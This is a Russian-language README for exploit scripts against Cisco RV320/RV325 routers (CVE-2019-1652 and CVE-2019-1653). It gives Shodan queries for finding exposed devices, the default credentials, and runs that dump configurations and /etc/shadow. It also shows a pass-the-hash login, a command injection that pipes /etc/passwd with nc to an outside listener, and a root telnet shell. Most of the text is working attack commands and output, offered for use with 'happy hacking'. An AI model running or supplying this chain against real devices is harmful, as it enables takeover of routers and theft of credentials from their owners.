
CVE-2019-1652 /CVE-2019-1653 Эксплойты для дампа конфигураций и отладочных данных Cisco RV320 и удаленный root-эксплойт!
CVE-2019-1653/CVE-2019-1652 Эксплойты для дампа конфигураций Cisco RV320 и получения RCE
Реализации эксплойтов CVE-2019-1652 и CVE-2019-1653, раскрытых Red Team Pentesting GmbH.
Я тестировал это только на RV320, но согласно уведомлению Cisco, RV325 также уязвим.
Следующие запросы Shodan кажется их находят, если вам интересно, сколько их там. Похоже, их довольно много...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
Уязвимости позволяют следующее:
Кстати, учетные данные по умолчанию: cisco:cisco.
Для эксплойта дампа конфигурации просто укажите цель, порт, включение/выключение ssl и выходной каталог. Он сбросит конфигурацию туда.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
Для эксплойта дампа отладочных данных процедура та же, но сбрасываемые данные больше и зашифрованы.
Вам нужно будет расшифровать их с помощью предоставленного скрипта «decrypt.sh» или вручную с помощью openssl. Это даст вам tar-файл.
Отладочный вывод дает не только конфиг, но и резервные копии /etc и /var, и да, файл /etc/shadow/ присутствует.
Я когда-нибудь перепишу скрипт расшифровки на Python, но это был быстрый костыль.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
Используя полученные (хешированные) учетные данные, вы затем можете эксплуатировать CVE-2019-1652 для выполнения команд на устройстве.
Несколько замечаний о «хешировании» пароля, прежде чем мы продолжим. В этих устройствах в конфигурационном файле вы найдете переменную с именем PASSWD, за которой следует md5-хеш.
Этот md5-хеш — md5($password.$auth_key), где auth_key — статическое значение, которое можно найти, выполнив GET / и проанализировав результат.
Есть один, по-видимому, распространенный, который я жестко закодировал в RCE-эксплойте как запасной вариант на случай, если парсер страницы и регулярки сломаются.
CVE-2019-1652 описывает тривиальную уязвимость внедрения команд оболочки, требующую аутентификации. exec_cmd.py реализует это, предполагая, что у вас есть действительные учетные данные для входа. «cisco:cisco» — по умолчанию, но вы также можете взломать хеши.
Внедрение команды слепое, поэтому вы не получите никакого вывода. Среда — это чрезвычайно ограниченная настройка Busybox с урезанным netcat, и эти устройства — mips64, поэтому я не стал заморачиваться с написанием эксплойта обратного шелла на этот раз. Однако вы можете получить вывод команды, делая такие вещи, как cat /etc/passwd | nc HOST PORT и запустив слушатель, или что-то еще.
Вы также можете внедрить команду типа telnetd -l /bin/sh -p 1337 и подключиться к полученному telnet-сервису, который предоставит вам хороший неаутентифицированный шелл от root.
Пример запуска эксплойта ниже:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
Итак, из-за Cisco вы можете фактически передать извлеченный хеш и получить сеанс с входом. Поэтому мы написали эксплойт, который извлекает хеш и передает его. Он называется easy_access.py. Потому что путь CGI-бинарников содержит папку с именем «EasyAccess».
Пример запуска EasyAccess ниже...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
Удачного взлома, ребята.